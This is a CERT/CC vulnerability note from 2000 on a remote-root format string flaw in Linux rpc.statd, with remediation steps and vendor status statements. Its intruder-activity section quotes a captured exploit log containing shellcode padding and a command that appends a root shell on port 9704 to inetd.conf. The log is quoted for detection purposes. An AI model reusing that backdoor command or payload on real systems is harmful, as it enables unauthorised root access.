search menu icon-carat-right cmu-wordmark

CERT Coordination Center

rpc.statd vulnerable to remote root compromise via format string stack overwrite

Vulnerability Note VU#34043

Original Release Date: 2000-10-30 | Last Revised: 2000-11-29

Overview

The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see the vendors section of this document for specific information regarding affected distributions.

More information about this vulnerability is available at the following public URLs:


The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.\t\t

Description

Intruder Activity
The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring:

Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
^F^G^G08049f10
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000bffff7
0400000000000000000000000000000000000000000000000bffff7050000bffff70600000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000bffff707K^v

^( ^ ^.  #^
1
F'F* FF+,
NV1@/bin
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd


If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity.

Impact

By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.

Solution


Upgrade your version of rpc.statd
Please see the vendors section of this document for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service.

Disable the rpc.statd service
If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality.

Block unneeded ports at your firewall
As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary.

Vendor Information

34043
 

BSDI Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

No versions of BSD/OS are vulnerable.

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

Caldera Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

Not vulnerable: None of our products ship with rpc.statd

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

Compaq Computer Corporation Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

© Copyright 2000 Compaq Computer Corporation. All rights reserved.

SOURCE: Compaq Computer Corporation
Compaq Services
Software Security Response Team USA
re: input validation problem in rpc.statd
This reported problem has not been found to affect the as shipped, Compaq Tru64/UNIX Operating Systems Software.
- Compaq Computer Corporation

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

FreeBSD Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

FreeBSD is not vulnerable to this problem.

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

HP Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

HP is NOT Vulnerable to the rpc.statd issue in CERT Advisory CA-2000-17.

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

NetBSD Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

NetBSD 1.4.x and NetBSD 1.5 do not appear to be affected by this problem; all calls to syslog() within rpc.statd take a constant string for the format argument.

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

OpenBSD Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

*Linux* systems running the rpc.statd service!
This affects noone else!

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

SCO Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

The Santa Cruz Operation has investigated this vulnerability and has determined that NO SCO products are susceptable to it. SCO does not provide the programs in question, and SCO programs that perform the same or similar functionality are not susceptable to this vulnerability.

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

SGI Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

IRIX rpc.statd is not vulnerable to this security issue.

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

Sun Not Affected

Updated:  October 10, 2000

Status

Not Affected

Vendor Statement

Our rpc.statd is not vulnerable to this buffer overflow.

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

Debian Unknown

Updated:  October 10, 2000

Status

Unknown

Vendor Statement

http://www.debian.org/security/2000/20000719a

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

RedHat Unknown

Updated:  October 10, 2000

Status

Unknown

Vendor Statement

http://www.redhat.com/support/errata/RHSA-2000-043-03.html

Vendor Information

The vendor has not provided us with any further information regarding this vulnerability.

Addendum

The CERT/CC has no additional comments at this time.

If you have feedback, comments, or additional information about this vulnerability, please send us email.

View all 12 vendors View less vendors


CVSS Metrics

Group Score Vector
Base
Temporal
Environmental

References

Acknowledgements

This document was written by John Shaffer and Brian King.

Other Information

CVE IDs: CVE-2000-0666
CERT Advisory: CA-2000-17
Date Public: 2000-07-16
Date First Published: 2000-10-30
Date Last Updated: 2000-11-29 16:44 UTC
Document Revision: 9

Sponsored by CISA.